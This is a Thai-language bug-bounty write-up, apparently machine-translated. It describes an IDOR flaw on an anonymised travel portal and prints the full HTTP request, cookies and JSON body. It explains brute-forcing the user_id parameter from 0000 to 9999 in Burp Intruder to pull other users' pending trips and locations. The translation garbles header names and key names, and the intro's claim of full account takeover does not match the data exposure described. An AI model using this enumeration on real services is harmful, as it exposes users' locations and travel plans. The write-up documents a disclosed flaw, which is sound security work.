IDOR เปิดเผยข้อมูลการเดินทางของผู้ใช้ที่รอดำเนินการ | ตอนที่ 01

Dec 02 2022
สวัสดี แฮ็กเกอร์ที่น่าทึ่งและผู้ที่ชื่นชอบการรักษาความปลอดภัย วันนี้ฉันจะเขียนเกี่ยวกับบางสิ่งที่สำคัญมาก การระบุบั๊ก IDOR ที่นำไปสู่การยึดครองบัญชีโดยสมบูรณ์โดยที่ผู้ใช้ไม่ได้โต้ตอบคือบั๊ก IDOR แรกของฉัน

สวัสดี แฮ็กเกอร์ที่น่าทึ่งและผู้ที่ชื่นชอบการรักษาความปลอดภัย วันนี้ฉันจะเขียนเกี่ยวกับบางสิ่งที่สำคัญมาก การระบุบั๊ก IDOR ที่นำไปสู่การยึดครองบัญชีโดยสมบูรณ์โดยที่ผู้ใช้ไม่ได้โต้ตอบคือบั๊ก IDOR แรกของฉัน

เรามาทำความเข้าใจเกี่ยวกับ IDOR กันก่อนดีกว่า

IDOR (การอ้างอิงวัตถุโดยตรงที่ไม่ปลอดภัย)

การอ้างอิงวัตถุโดยตรงที่ไม่ปลอดภัย (IDOR) เป็นช่องโหว่ประเภทหนึ่งของการควบคุมการเข้าถึงที่เกิดขึ้นเมื่อแอปพลิเคชันใช้อินพุตที่ผู้ใช้ป้อนเพื่อเข้าถึงวัตถุโดยตรง ช่องโหว่ IDOR มักเกี่ยวข้องกับการเพิ่มระดับสิทธิ์ในแนวนอน แต่ก็สามารถเกิดขึ้นได้จากการยกระดับสิทธิ์ในแนวตั้ง

ดังนั้นขอเรียกเป้าหมายเป็นtarget.com ฉันเริ่มต้นด้วย Recon บนโดเมนหลัก ตอนนี้หลังจาก Recon ฉันเริ่มเข้าใจแอปพลิเคชันว่ามันทำงานอย่างไร เพียงแค่เปิดเรอ และเริ่มวิเคราะห์แอปพลิเคชันว่ามันทำงานอย่างไร ประมวลผลคำขออย่างไร ดูว่าวิธีใดได้รับอนุญาต วิเคราะห์ซอร์สโค้ดสำหรับคีย์ลับ API หรือโทเค็นหรือจุดสิ้นสุด

ฉันดูและใช้ฟังก์ชันบางอย่าง เช่น อัปเดตโปรไฟล์ อัปโหลดรูปโปรไฟล์ และเปลี่ยนรหัสผ่านโดยไม่ใช้รหัสผ่านเดิม และตรวจสอบทุกคำขอและการตอบกลับโดยใช้เรอ

Bug 01: IDOR เปิดเผยข้อมูลการเดินทางของผู้ใช้ที่รอดำเนินการ

ฉันจัดตารางการเดินทางและหลังจากนั้นฉันขอข้อมูลเกี่ยวกับการเดินทางของฉัน ดังนั้นคำขอจึงมีลักษณะดังนี้

/target-dev/index.php/UserPortal/Trip/tripListByUser

ขอให้มีลักษณะเหมือน

โพสต์ /targetservice-dev/index.php/UserPortal/Trip/tripListByUser HTTP/1.1

โฮสต์: app.target.com

คุกกี้: _ga_4FPFRN1P35=GS1.1.1669338233.4.0.1669338233.0.0.0; _ga=GA1.1.749545081.1669213744; bfp_sn_rf_b10ce94cf299b167b74a6944e0aec9d4=โดยตรง; bfp_sn_rt_b10ce94cf299b167b74a6944e0aec9d4=1669215441778; ci_session=4rk74md1hpc0hrac5dfv3li2av

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

ยอมรับ: แอปพลิเคชัน/json, ข้อความ/ธรรมดา, */*

ภาษาที่ยอมรับ: en-US,en;q=0.5

ยอมรับการเข้ารหัส: gzip, deflate

ประเภทเนื้อหา: แอปพลิเคชัน/x-www-form-urlencoded

ความยาวเนื้อหา: 59

ที่มา: https://app.target.com

ผู้อ้างอิง: https://app.target.com/target-user-portal/

Sec-Fetch-Dest: ว่างเปล่า

Sec-Fetch-Mode: คอร์

Sec-Fetch-Site: แหล่งกำเนิดเดียวกัน

เต้:รถพ่วง

การเชื่อมต่อ: ปิด

{“user_id”:”1654”,”status”:”pending”,” T ARGETAUTHKEY”:8342}

ตอนนี้หมายเหตุสองสิ่งแรกคือT ARGETAUTHKEY และที่สองคือ “user_id”:”1654"

ส่งคำขอนี้ไปยังทวนและดูคำตอบที่คุณได้รับข้อมูลเกี่ยวกับข้อมูลการเดินทางที่รอดำเนินการ

หลังจากนั้นส่งคำขอไปยังผู้บุกรุกและกำลังดุร้ายที่ “user_id” และ payload คือ Number Start จาก 0000 ถึง 9999 และลำดับคือ 1 คลิกที่ Start Attack และเลือกคำขอและการตอบสนองตามความยาว Boom คุณจะได้รับข้อมูลการเดินทางของผู้ใช้รายอื่นที่รอดำเนินการพร้อมเปิดเผยรหัสผู้ใช้และตำแหน่งที่เลือกและวางของผู้ใช้

การตอบสนองดูเหมือน

{“user_id”:”418”,”status”:”pending”,”LOADMEEAUTHKEY”:8012, Trip_Id:XXXX, Tripe_location: “ข้อมูลที่ผู้ใช้เลือก”, Tripe_destination: “ตำแหน่งการเดินทาง”, Essitemate_total:35000}

ดังนั้นคำตอบนี้จึงเปิดเผยทั้งสองสิ่ง

  1. ลงทะเบียนรหัสผู้ใช้และที่ตั้ง
  2. ข้อมูลการเดินทาง

มีความสุขแฮ็ค